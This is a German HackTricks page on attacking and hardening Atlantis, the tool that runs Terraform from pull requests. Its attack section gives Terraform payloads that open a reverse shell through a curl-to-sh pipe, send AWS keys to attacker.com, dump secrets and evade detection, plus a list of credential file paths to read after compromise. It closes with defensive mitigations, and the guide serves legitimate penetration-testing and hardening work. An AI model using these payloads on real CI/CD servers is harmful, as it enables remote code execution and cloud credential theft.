German - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Atlantis Security

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Atlantis hilft Ihnen im Wesentlichen dabei, Terraform von Pull Requests von Ihrem Git-Server aus auszuführen.

Lokales Labor

  1. Gehen Sie zur Atlantis-Releases-Seite unter https://github.com/runatlantis/atlantis/releases und laden Sie diejenige herunter, die zu Ihnen passt.

  2. Erstellen Sie einen persönlichen Token (mit Repo-Zugriff) Ihres GitHub-Benutzers.

  3. Führen Sie ./atlantis testdrive aus, und es wird ein Demo-Repo erstellt, das Sie verwenden können, um mit Atlantis zu kommunizieren.

  4. Sie können die Webseite unter 127.0.0.1:4141 aufrufen.

Atlantis-Zugriff

Git-Server-Anmeldeinformationen

Atlantis unterstützt mehrere Git-Hosts wie GitHub, GitLab, Bitbucket und Azure DevOps. Um jedoch auf die Repos in diesen Plattformen zuzugreifen und Aktionen auszuführen, muss diesen Plattformen einige privilegierte Zugriffsrechte eingeräumt werden (mindestens Schreibberechtigungen). Die Dokumentation empfiehlt, einen Benutzer speziell für Atlantis in diesen Plattformen zu erstellen, aber einige Personen verwenden möglicherweise persönliche Konten.

In jedem Fall wird das Atlantis-Konto aus der Sicht eines Angreifers sehr interessant sein, zu kompromittieren.

Webhooks

Atlantis verwendet optional Webhook-Secrets, um zu validieren, dass die Webhooks, die es von Ihrem Git-Host erhält, legitim sind.

Eine Möglichkeit, dies zu bestätigen, wäre, Anfragen nur von den IPs Ihres Git-Hosts zuzulassen, aber ein einfacherer Weg ist die Verwendung eines Webhook-Secrets.

Beachten Sie, dass Sie, es sei denn, Sie verwenden einen privaten GitHub- oder Bitbucket-Server, die Webhook-Endpunkte ins Internet freigeben müssen.

Atlantis wird Webhooks freigeben, damit der Git-Server ihm Informationen senden kann. Aus der Sicht eines Angreifers wäre es interessant zu wissen, ob Sie ihm Nachrichten senden können.

Anbieter-Anmeldeinformationen

Aus der Dokumentation:

Atlantis führt Terraform einfach aus, indem es terraform plan und apply-Befehle auf dem Server ausführt, auf dem Atlantis gehostet ist. Genau wie beim lokalen Ausführen von Terraform benötigt Atlantis Anmeldeinformationen für Ihren spezifischen Anbieter.

Es liegt an Ihnen, wie Sie Anmeldeinformationen bereitstellen für Ihren spezifischen Anbieter an Atlantis:

  • Das Atlantis Helm Chart und das AWS Fargate-Modul haben ihre eigenen Mechanismen für Anbieteranmeldeinformationen. Lesen Sie deren Dokumentation.

  • Wenn Sie Atlantis in einer Cloud ausführen, haben viele Clouds Möglichkeiten, Cloud-API-Zugriff auf Anwendungen zu gewähren, die auf ihnen ausgeführt werden, z. B.:

  • AWS EC2-Rollen (Suchen Sie nach "EC2-Rolle")

  • GCE-Instanzdienstkonten

  • Viele Benutzer setzen Umgebungsvariablen, z. B. AWS_ACCESS_KEY, dort, wo Atlantis ausgeführt wird.

  • Andere erstellen die erforderlichen Konfigurationsdateien, z. B. ~/.aws/credentials, dort, wo Atlantis ausgeführt wird.

  • Verwenden Sie den HashiCorp Vault-Provider, um Anbieteranmeldeinformationen zu erhalten.

Der Container, in dem Atlantis läuft, wird höchstwahrscheinlich privilegierte Anmeldeinformationen für die Anbieter (AWS, GCP, GitHub...) enthalten, die Atlantis über Terraform verwaltet.

Web-Seite

Standardmäßig wird Atlantis eine Web-Seite im Port 4141 auf localhost ausführen. Diese Seite ermöglicht es Ihnen nur, atlantis apply zu aktivieren/deaktivieren und den Status des Plans der Repos zu überprüfen und sie zu entsperren (es ermöglicht keine Änderungen, daher ist es nicht so nützlich).

Sie werden sie wahrscheinlich nicht im Internet freigegeben finden, aber standardmäßig sind keine Anmeldeinformationen erforderlich, um darauf zuzugreifen (und wenn sie benötigt werden, sind atlantis:atlantis die Standard-Anmeldeinformationen).

Serverkonfiguration

Die Konfiguration des atlantis server kann über Befehlszeilenoptionen, Umgebungsvariablen, eine Konfigurationsdatei oder eine Kombination der drei angegeben werden.

Die Werte werden in dieser Reihenfolge ausgewählt:

  1. Flags

  2. Umgebungsvariablen

  3. Konfigurationsdatei

Beachten Sie, dass in der Konfiguration möglicherweise interessante Werte wie Tokens und Passwörter enthalten sind.

Repos-Konfiguration

Einige Konfigurationen betreffen wie die Repos verwaltet werden. Es ist jedoch möglich, dass jedes Repo unterschiedliche Einstellungen erfordert, daher gibt es Möglichkeiten, jedes Repo anzugeben. Dies ist die Prioritätsreihenfolge:

  1. Repo /atlantis.yml-Datei. Diese Datei kann verwendet werden, um anzugeben, wie Atlantis das Repo behandeln soll. Standardmäßig können einige Schlüssel hier nicht ohne einige Flags angegeben werden.

  2. Möglicherweise erforderlich, um durch Flags wie allowed_overrides oder allow_custom_workflows zugelassen zu werden.

  3. Serverseitige Konfiguration: Sie können sie mit dem Flag --repo-config übergeben, und es handelt sich um eine YAML-Konfiguration, die neue Einstellungen für jedes Repo konfiguriert (Regexe werden unterstützt).

  4. Standard-Werte

PR-Schutz

Atlantis ermöglicht es, anzugeben, ob Sie möchten, dass die PR von jemand anderem genehmigt wird (auch wenn dies nicht in der Branch-Schutzrichtlinie festgelegt ist) und/oder zusammenführbar ist (Branch-Schutzrichtlinien bestanden) bevor apply ausgeführt wird. Aus Sicherheitssicht wird empfohlen, beide Optionen festzulegen.

Wenn allowed_overrides True ist, können diese Einstellungen in jedem Projekt durch die Datei /atlantis.yml überschrieben werden.

Skripte

Die Repo-Konfiguration kann Skripte angeben, die vor (Pre-Workflow-Hooks) und nach (Post-Workflow-Hooks) Ausführung eines Workflows ausgeführt werden.

Es gibt keine Option, die es erlaubt, diese Skripte in der Repo-/atlantis.yml-Datei anzugeben.

Workflow

In der Repo-Konfiguration (Serverseitenkonfiguration) können Sie einen neuen Standardworkflow festlegen oder neue benutzerdefinierte Workflows erstellen. Sie können auch angeben, welche Repos auf die generierten neuen Workflows zugreifen können. Dann können Sie die atlantis.yaml-Datei jedes Repos verwenden, um den zu verwendenden Workflow anzugeben.

Wenn die Serverseitenkonfiguration Flag allow_custom_workflows auf True gesetzt ist, können Workflows in der atlantis.yaml-Datei jedes Repos angegeben werden. Möglicherweise ist es auch erforderlich, dass allowed_overrides auch workflow angibt, um den Workflow zu überschreiben, der verwendet werden soll. Dies gibt im Wesentlichen RCE im Atlantis-Server für jeden Benutzer frei, der auf dieses Repo zugreifen kann.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Conftest Richtlinienprüfung

Atlantis unterstützt das Ausführen von serverseitigen conftest Richtlinien gegen die Plan-Ausgabe. Häufige Anwendungsfälle für die Verwendung dieses Schritts sind:

  • Verweigerung der Verwendung einer Liste von Modulen

  • Überprüfung von Attributen eines Ressourcen bei der Erstellung

  • Erfassen unbeabsichtigter Ressourcenlöschungen

  • Verhindern von Sicherheitsrisiken (z. B. das Freigeben sicherer Ports für die Öffentlichkeit)

Sie können überprüfen, wie Sie es in der Dokumentation konfigurieren können.

Atlantis Befehle

In der Dokumentation finden Sie die Optionen, die Sie verwenden können, um Atlantis auszuführen:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Angriffe

Wenn Sie während der Ausnutzung diesen Fehler finden: Error: Error acquiring the state lock

Sie können es beheben, indem Sie ausführen:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis-Plan RCE - Konfigurationsänderung in neuem PR

Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie atlantis plan ausführen können (oder es wird automatisch ausgeführt), können Sie RCE innerhalb des Atlantis-Servers ausführen.

Sie können dies erreichen, indem Sie Atlantis dazu bringen, eine externe Datenquelle zu laden. Fügen Sie einfach ein Payload wie folgt in die Datei main.tf ein:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Unauffälligerer Angriff

Sie können diesen Angriff sogar auf eine unauffälligere Weise durchführen, indem Sie diesen Vorschlägen folgen:

  • Anstatt die Reverse-Shell direkt in die Terraform-Datei einzufügen, können Sie eine externe Ressource laden, die die Reverse-Shell enthält:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Du kannst den Rev-Shell-Code unter https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules finden.

  • In der externen Ressource verwende das ref-Feature, um den Terraform Rev-Shell-Code in einem Branch im Repo zu verstecken, beispielsweise: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • Anstatt einen PR zu Master zu erstellen, um Atlantis auszulösen, erstelle 2 Branches (test1 und test2) und erstelle einen PR von einem zum anderen. Wenn du den Angriff abgeschlossen hast, entferne einfach den PR und die Branches.

Atlantis Plan Secrets Dump

Du kannst Secrets, die von Terraform verwendet werden, durch Ausführen von atlantis plan (terraform plan) dumpen, indem du etwas Ähnliches in die Terraform-Datei einfügst:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis wendet RCE an - Konfigurationsänderung in neuem PR

Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie atlantis apply ausführen können, können Sie RCE im Atlantis-Server ausführen.

Normalerweise müssen Sie jedoch einige Schutzmechanismen umgehen:

  • Mergeable: Wenn dieser Schutz in Atlantis aktiviert ist, können Sie atlantis apply nur ausführen, wenn der PR mergeable ist (was bedeutet, dass der Branch-Schutz umgangen werden muss).

  • Überprüfen Sie potenzielle Branch-Schutzmechanismen-Umgehungen

  • Genehmigt: Wenn dieser Schutz in Atlantis aktiviert ist, muss ein anderer Benutzer den PR genehmigen, bevor Sie atlantis apply ausführen können.

  • Standardmäßig können Sie den Gitbot-Token missbrauchen, um diesen Schutz zu umgehen

Das Ausführen von terraform apply auf einer bösartigen Terraform-Datei mit local-exec. Sie müssen nur sicherstellen, dass ein Payload wie die folgenden in der main.tf-Datei endet:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Folgen Sie den Vorschlägen aus der vorherigen Technik, um diesen Angriff auf eine unauffälligere Weise durchzuführen.

Terraform-Parametereinschleusung

Wenn atlantis plan oder atlantis apply ausgeführt wird, wird Terraform im Hintergrund ausgeführt. Sie können Befehle an Terraform von Atlantis aus übergeben, indem Sie etwas kommentieren wie:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Etwas, das Sie übergeben können, sind Umgebungsvariablen, die möglicherweise hilfreich sind, um einige Schutzmechanismen zu umgehen. Überprüfen Sie Terraform-Umgebungsvariablen unter https://www.terraform.io/cli/config/environment-variables

Benutzerdefinierter Workflow

Ausführen von bösartigen benutzerdefinierten Build-Befehlen, die in einer atlantis.yaml-Datei angegeben sind. Atlantis verwendet die atlantis.yaml-Datei aus dem Pull-Request-Zweig, nicht von master. Diese Möglichkeit wurde in einem vorherigen Abschnitt erwähnt:

Wenn die serverseitige Konfiguration Flagge allow_custom_workflows auf True gesetzt ist, können Workflows in der atlantis.yaml-Datei jedes Repos angegeben werden. Möglicherweise ist es auch erforderlich, dass allowed_overrides auch workflow angibt, um den Workflow zu überschreiben, der verwendet werden soll.

Dies gibt im Wesentlichen RCE im Atlantis-Server für jeden Benutzer, der auf dieses Repo zugreifen kann.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Umgehungsplan/Anwendungsschutz

Wenn die Serverseitenkonfiguration die Flagge allowed_overrides hat und apply_requirements konfiguriert ist, ist es möglich, dass ein Repository die Plan-/Anwendungsschutzmaßnahmen umgehen kann.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Wenn jemand atlantis plan/apply-Kommentare auf Ihren gültigen Pull Requests sendet, wird Terraform ausgeführt, wenn Sie es nicht möchten.

Darüber hinaus, wenn Sie nicht in den Branch-Schutz konfiguriert haben, um bei jedem neuen Commit, der darauf geschoben wird, zu neubewerten, könnte jemand bösartige Konfigurationen (überprüfen Sie vorherige Szenarien) in der Terraform-Konfiguration schreiben, atlantis plan/apply ausführen und RCE erhalten.

Dies ist die Einstellung im Github-Branch-Schutz:

Webhook Secret

Wenn es Ihnen gelingt, das verwendete Webhook-Secret zu stehlen oder wenn kein Webhook-Secret verwendet wird, könnten Sie den Atlantis-Webhook aufrufen und Atlantis-Befehle direkt aufrufen.

Bitbucket

Bitbucket Cloud unterstützt keine Webhook-Secrets. Dies könnte es Angreifern ermöglichen, Anfragen von Bitbucket zu fälschen. Stellen Sie sicher, dass Sie nur Bitbucket-IPs zulassen.

  • Dies bedeutet, dass ein Angreifer falsche Anfragen an Atlantis stellen könnte, die so aussehen, als kämen sie von Bitbucket.

  • Wenn Sie --repo-allowlist angeben, könnten sie nur Anfragen zu diesen Repos fälschen, sodass der größte Schaden darin bestehen würde, plan/apply auf Ihren eigenen Repos durchzuführen.

  • Um dies zu verhindern, erlauben Sie Bitbucket-IP-Adressen (siehe ausgehende IPv4-Adressen).

Post-Exploitation

Wenn es Ihnen gelungen ist, Zugriff auf den Server zu erhalten oder zumindest ein LFI zu haben, gibt es einige interessante Dinge, die Sie versuchen sollten zu lesen:

  • /home/atlantis/.git-credentials Enthält VCS-Zugriffsberechtigungen

  • /atlantis-data/atlantis.db Enthält VCS-Zugriffsberechtigungen mit mehr Informationen

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform-Statusdatei

  • Beispiel: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Umgebungsvariablen

  • /proc/[2-20]/cmdline Befehlszeile von atlantis server (kann sensible Daten enthalten)

Maßnahmen

Nicht auf öffentlichen Repositories verwenden

Da jeder auf öffentlichen Pull Requests kommentieren kann, selbst mit allen verfügbaren Sicherheitsmaßnahmen, ist es immer noch gefährlich, Atlantis auf öffentlichen Repositories ohne ordnungsgemäße Konfiguration der Sicherheitseinstellungen auszuführen.

--allow-fork-prs nicht verwenden

Wenn Sie auf einem öffentlichen Repository ausführen (was nicht empfohlen wird, siehe oben), sollten Sie --allow-fork-prs nicht festlegen (Standardwert ist false), da jeder einen Pull Request von seinem Fork zu Ihrem Repository öffnen kann.

--repo-allowlist

Atlantis erfordert, dass Sie eine Liste von Repositories angeben, von denen es Webhooks über den --repo-allowlist-Flag akzeptieren wird. Zum Beispiel:

  • Spezifische Repositories: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • Ihre gesamte Organisation: --repo-allowlist=github.com/runatlantis/*

  • Jedes Repository in Ihrer GitHub Enterprise-Installation: --repo-allowlist=github.yourcompany.com/*

  • Alle Repositories: --repo-allowlist=*. Nützlich, wenn Sie sich in einem geschützten Netzwerk befinden, aber gefährlich, wenn kein Webhook-Secret festgelegt ist.

Dieses Flag stellt sicher, dass Ihre Atlantis-Installation nicht mit Repositories verwendet wird, die Sie nicht kontrollieren. Siehe atlantis server --help für weitere Details.

Terraform-Planung schützen

Wenn Angreifer Pull Requests mit bösartigem Terraform-Code in Ihrem Bedrohungsmodell einreichen, müssen Sie sich bewusst sein, dass terraform apply-Genehmigungen nicht ausreichen. Es ist möglich, bösartigen Code in einem terraform plan auszuführen, indem der external-Datensource verwendet wird oder indem ein bösartiger Anbieter angegeben wird. Dieser Code könnte dann Ihre Anmeldeinformationen exfiltrieren.

Um dies zu verhindern, könnten Sie:

  1. Anbieter in das Atlantis-Image einbacken oder hosten und in der Produktion den Ausgang blockieren.

  2. Implementieren Sie das Anbieter-Registry-Protokoll intern und blockieren Sie öffentlichen Ausgang, so kontrollieren Sie, wer Schreibzugriff auf die Registry hat.

  3. Ändern Sie die serverseitige Repo-Konfiguration des plan-Schritts, um gegen die Verwendung von unerlaubten Anbietern oder Datensources oder PRs von nicht erlaubten Benutzern zu validieren. Sie könnten auch an dieser Stelle zusätzliche Validierung hinzufügen, z.B. eine "Zustimmung" zum PR vor der Fortsetzung des plan zu verlangen. Conftest könnte hier nützlich sein.

Webhook-Secrets

Atlantis sollte mit Webhook-Secrets ausgeführt werden, die über die Umgebungsvariablen $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET festgelegt sind. Selbst wenn das --repo-allowlist-Flag festgelegt ist, könnten Angreifer ohne Webhook-Secret Anfragen an Atlantis stellen und sich als ein Repository ausgeben, das auf der Allowlist steht. Webhook-Secrets stellen sicher, dass die Webhook-Anfragen tatsächlich von Ihrem VCS-Anbieter (GitHub oder GitLab) stammen.

Wenn Sie Azure DevOps verwenden, fügen Sie anstelle von Webhook-Secrets einen einfachen Benutzernamen und ein Passwort hinzu.

Azure DevOps Basic Authentication

Azure DevOps unterstützt das Senden eines Basic-Authentifizierungs-Headers in allen Webhook-Ereignissen. Dies erfordert die Verwendung einer HTTPS-URL für Ihren Webhook-Standort.

SSL/HTTPS

Wenn Sie Webhook-Secrets verwenden, aber Ihr Datenverkehr über HTTP erfolgt, könnten die Webhook-Secrets gestohlen werden. Aktivieren Sie SSL/HTTPS mit den Flags --ssl-cert-file und --ssl-key-file.

Authentifizierung auf dem Atlantis-Webserver aktivieren

Es wird dringend empfohlen, die Authentifizierung im Webdienst zu aktivieren. Aktivieren Sie BasicAuth mit dem Flag --web-basic-auth=true und richten Sie einen Benutzernamen und ein Passwort mit den Flags --web-username=IhrBenutzername und --web-password=IhrPasswort ein.

Sie können diese auch als Umgebungsvariablen übergeben ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=IhrBenutzername und ATLANTIS_WEB_PASSWORD=IhrPasswort.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

PreviousTerraform SecurityNextCloudflare Security

Last updated